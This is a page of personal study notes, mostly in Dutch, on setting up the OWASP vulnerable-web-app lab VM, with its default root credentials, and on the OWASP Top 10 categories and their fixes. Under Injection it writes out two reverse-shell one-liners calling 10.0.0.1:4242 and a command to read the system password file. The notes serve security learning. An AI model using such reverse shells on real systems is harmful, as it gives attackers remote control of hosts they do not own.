OWASP
Het installeren van de OWASP virtual machine
Download de machine van Sourceforge.
Maak een nieuwe machine aan in VirtualBox, van het type
Linux
en versie Ubuntu 64-bit
.
Selecteer Use an existing virtual hard disk file
Navigeer naar je map met OWASP files, en selecteer de file met de kortste naam.
Klik op Create
.
Je kan zowel de 2e adapter van Kali als de network adapter van OWASP
in Host-only adapter
mode zetten.
Username is root
en password is
owaspbwa
Top 10
Uitleg
Injection
Injection occurs when an attacker exploits insecure code to inject their own code into a program/website/DB.
Any interpreter which combines data into a command is vulnerable to these attacks. Untrusted data is directly interpreted.
Types of injection: SQL, LDAP, OS, Command, Ruby, Shell Shock (bash vulnerability), etc.
Commando's die je graag zou willen uitvoeren:
Read users in Linux: cat /etc/password
Reverse connection: bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Reverse connection: ncat 10.0.0.1 4242 -e /bin/bash
Broken Access Control
The attacker is able to operate as the user or as an administrator in the system. He is able to elevate privileges on the app.
BAC is restricted users' access not properly handled (MFLAC ), bv. als studenten op een school dingen kunnen doen die eigenlijk aan leraren zijn voorbehouden.
Wat kan je met BAC bereiken?:
- Horizontal privilege escalation (user to user);
- Vertical privilege escalation (user to admin, admin to super admin);
- Cross Origin Resource Sharing;
- Access to API with missing access controls for POST, PUT, DELETE;
- Allowing Primary Key to view/edit/modify/change someones data;
- Metadata manipulation such as replaying JWT access control tokens.
Insecure Direct Object References (IDOR)
Cross-Site Scripting (XSS)
Zie een vrij onduidelijke FAQ uit 2002 op cgisecurity.com.
Op https://xss-game.appspot.com/level1 kan je XSS aanvallen oefenen door een aantal levels op te lossen (je kan hints krijgen).
Dit staat een aanvaller toe om (Java)script uit te voeren. Het is een vorm van injection, alleen i.p.v. data te injecten in SQL-queries, probeer je nu scripts te injecten in HTML.
Er zijn 3 soorten XSS: Reflected, Stored, DOM-based.
RXSS
The application includes invalidated or unescaped users input as part of HTML output, which can be used for further ATO's (Account TakeOver). This attack allows attacker to execute js in victims browser, and hijack the session cookie leading to ATO.
User input is immediately returned by a web application in an error message of ander soort response.
Een mooi voorbeeld in DVWA, waar je een Javascript alert in een invoerveld zet, en dit wordt uitgevoerd (omdat er niet op vreemde tekens wordt gecontroleerd).
SXSS
Attacker can store JavaScript on the server. User input is stored in target server, such as in db. Een victim haalt die info op, waardoor de code in zijn web browser wordt uitgevoerd.
DXSS
Client side attack, where untrusted input is passed in source and comes out of sink and executes.
Entire data flow from souce takes place in browser. Source code could be a URL of a page, or it could be an element of the HTML.
How to fix
Input sanitization, escaping and encoding, WAF.
Sensitive Data Exposure (t/m 2017)
Sensitive data including source code, api, passwords, etc., has been disclosed.
Voorbeelden:
- Sensitive data like user account details, credit card details, passwords, etc., are not properly protected;
- GitHub Tokens and API Key Leakages (hackerone Snapchat report);
- Sensitive invoices (e.g. Paypal) indexed by Google.
Wanneer gebeurt SDE?:
- API's not properly protected;
- Lack of
Robots.txt
; - Lack of data strip when saving at server.
Hoe SDE fixen?
- Encrypt all SD at rest;
- Disable caching responses with SD;
- Implement Access Control for users (Maker Checker functionality). br Maker is the person with low priviliges, checker with high priv.
Broken Authentication and Session Management
Identification and Authentication Failures (was Broken Authentication)
Attacker is able to bypass the authentication using session token flaws, brute force, no-rate-limiting, password compromise using response manipulation, etc.
OTP Bypass, Captcha Bypass, Common Passwords Brute Force, 2FA Bypass.
BA happens because:
- Manipulated response is interpreted by application;
- No Rate Limit;
- Lack of Session Management.
Cryptographic Failures
XML External Entities (XXE)
Applicaties die XML parsen zijn kwetsbaar. Dat gebeurt als in de XML een reference naar een external entity zit, en de parser is zwak.
XXE kan leiden tot:
- SDE.
Denk aan
/etc/passwd
; - SSRF. You can hit a request to the collaborator of your own server??;
- port scanning; Enumerate all the ports of a web server, 127.0.0.1 etc.
- DOS;
- RCE (Remote Code Execution OOB).
De beste manier om XXE te vermijden is DTD's (External Entities) compleet te disablen.
Insecure Design
Security Misconfiguration
Denk aan:
- Gebruik van default credentials;
- Misconfigured web servers or DNS configurations;
- Misconfigured access control;
- Unpatched flaws.
Why SM happens:
Unnecessary features enabled / installed.
Unsecure settings in app servers (Struts, Spring, ASP.Net), libraries, db.
Wat kan je bereiken met SM:
- Account takeovers;
- RCE;
- Malware injections;
- Email spoofing (misconfigured TXT DNS server);
- Server injection.
Vulnerable and Outdated Components (was Using Components with Known Vulnerabilities)
Missing Function Level Access Control
Cross-Site Request Forgery (disappeared in 2017)
Insecure Deserialization (new sinds 2017)
Dit gebeurt doordat serialized objects geaccepteerd worden van een onbetrouwbare bron, en dan een deserialize gedaan wordt.
Je kan met insecure des. bereiken dat sensitive files ge-disclose'd worden, of RCE.
Software and Data Integrity Failures
Security Logging and Monitoring Failures (was Insufficient Loggin and Monitoring)
Server Side Request Forgery
Unvalidated Redirects and Forwards
Links
Reageer via E-mail (dalmolen@xs4all.nl)
Deze pagina is voor het laatst gewijzigd op: 03-02-23 21:34:52